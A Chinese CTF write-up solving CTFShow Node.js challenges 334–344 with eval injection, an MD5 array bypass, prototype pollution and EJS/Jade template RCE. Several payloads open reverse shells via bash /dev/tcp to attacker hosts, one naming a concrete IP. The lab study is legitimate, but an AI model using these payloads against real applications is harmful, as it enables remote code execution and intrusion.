CTFShow NodeJS Part
Nodejs学习
参考链接
NodeJs从零到原型链污染
Node.js 常见漏洞学习与总结
继承与原型链
深入理解 JavaScript Prototype 污染攻击
Node.js 原型污染攻击的分析与利用
CTFShow-nodejs(334-344)
web334
学习下nodejs的语法知识,没有特别好说的username=CTFSHOw&password=123456
web335
F12提示eval代码执行,使用/?eval=2*2测试,结果直接回显。
在执行系统命令方面,js中使用的是child_process这个模块。这个模块有异步和同步两种创建子进程的方式。
异步API:
- exec(cmd, options, callback)
- execFile(cmd, args, options, callback)
- fork (模块路径, args, options) // 不一样的地方在于可以通信
- spawn(cmd, args, options)
同步api:
- execSync
- execFileSync
- spawnSync
记一下同步API的用法:
const ret = cp.execSync('ls -al|grep node_modules') // 用的比较多,对脚本安全性没有校验
// 可以直接拿到结果
console.log(ret.toString())
const ret2 = cp.execFileSync('ls', ['-al'])
console.log(ret2.toString)
const ret3 = cp.spawnSync('ls', ['-al'])
console.log(ret3.stdout.toString()) // 返回的是一个对象
payload:/?eval=require("child_process").execSync("cat fl00g.txt").toString()
web336
和上面一样要eval执行命令,不同的是过滤了"exec"。
使用spawnSync来做,require("child_process").spawnSync('ls').stdout.toString()
注意spawnSync在执行的命令含多个参数的使用方式,最后的payload:/?eval=require("child_process").spawnSync("cat",["fl001g.txt"]).stdout.toString()
看了下WP这里还可以用+绕过,或者使用fs模块读取:
require('child_process')['exe'+'cSync']('ls').toString()
eval=require('fs').readFileSync('fl001g.txt','utf-8')
web337
题目介绍直接给了源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
使用的方式为数组绕过,paylaod:/?a[x]=1&b[x]=2
由于JavaScript中的对象不能直接和字符串进行加法运算。当试图将对象转化为字符串时,JavaScript 默认会调用对象的 toString() 方法。对于普通的 JavaScript 对象,toString() 方法会返回 "[object Object]"。
举个例子:
> a={'a':'1'}
> a+"123"
'[object Object]123'
所以上面的a+flag和b+flag的结果都是'[object Object]flag{xxxx}',因此md5计算的结果也就想等了。
web338
终于到原型链了。
关注源码中路由实现的部分,其中login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
这里要让secert.ctfshow==='36dboy',但是secert是一个空对象,并没有ctfshow这个属性。不过utils.copy(user,req.body);执行了一个对象拷贝的操作,这也是原型链攻击的点。
关于这个原型链自己做才发现污染的方式是添加属性,不是直接令原型为一个对象。
// 错误的
> o1 = {}
{}
> o2 = {}
{}
> o1.__proto__ = {"a":1}
{ a: 1 }
> o2.a
undefined
// 正确的
> o1 = {}
{}
> o2 = {}
{}
> o1.__proto__.a = 1
1
> o2.a
1
> o2.__proto__
[Object: null prototype] { a: 1 }
payload:{"__proto__":{"ctfshow":"36dboy"}}
web339
这道题和上一题的区别是secert.ctfshow要等于flag,而flag未知,所以无法直接修改ctfshow属性。
api.js有res.render('api', { query: Function(query)(query)});,这里的Function(query)(query)是一个立即调用的函数表达式(IIFE)。其中,Function 是一个内置的构造函数,用于创建新的函数对象。
这里面Function(query)创建了一个新的函数,然后这个新创建的函数被立即调用,并将 query 作为参数传入。举个例子:
> Function("return 1+1")("return 1+1")
2
我们可以利用这一点反弹的shell。
虽然题目中的query是没有定义的,但是由于js在寻找变量时会在原型链上找,而所有对象都直接或间接基础于Object.prototype。所以在链上添加一个query属性,依然可以被访问到:
> o1 = {}
{}
> o1.__proto__.a = 1
1
> a
1
解题流程,在/login处修改原型链,payload:
{
"username":"admin",
"password":"admin",
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/8888 0>&1\"')"
}
}
解释一下,global.process.mainModule.constructor._load: Node.js 中的 global 对象是全局的命名空间,即它的属性是全局作用域中的所有变量。global.process 返回一个对象,表示 Node.js 进程,mainModule 属性则是对当前 Node.js 进程主模块的引用,constructor 属性引用了该模块的构造函数(即 Module),_load 则是 Module 构造函数的一个方法,它的功能是加载一个模块。
ps.这里无法使用require是因为Function环境下没有require函数。
用POST方法访问/api触发api.js中路由的规则,反弹shell,读取文件,getshell

web340
这题与上面的不同点,index.js

这里的isAdmin属性是无法覆盖的,所以利用点还是在api.js中的Function(query)(query)。因为copy的对象是user.userinfo它的原型(所继承的对象)是一个函数,所以要用两个__proto__才能指向Object.prototype。

因此payload构造
{
"__proto__":{
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/8888 0>&1\"')"
}
}
}
web341
这道题和上面的相比没了api.js,可以利用的点就只有

根据package.json的版本信息可以知道"ejs": "^3.1.5",考点:ejs模板引擎rce,原理之后再看,先跟着打一遍。
payload为:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}
在环境变量中找到flag

web342-343
jade 模板rce,直接打吧
payload:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.115.227.70/8888 0>&1\"')"}}}
flag在环境变量里。
web344
源码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
需要传入一个JSON去解析,但是过滤了逗号。
绕过方法是传入多个query参数,比如?query=1&query=2&query=3。nodejs在解析这样的参数时,不会用后面的值去覆盖前面的,而是将其作为一个数组保存。
使用这种方式去绕过逗号,payload为/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true},它会被解析为数组['{"name":"admin"', '"password":"ctfshow"', '"isVIP":true}']。这里我猜测,JSON.parse()在解析数组的时候,会调用数组对象的toString方法,而数组对象的toString方法会将里面的元素用逗号连接为一个字符串,所以会被正常解析为JSON。
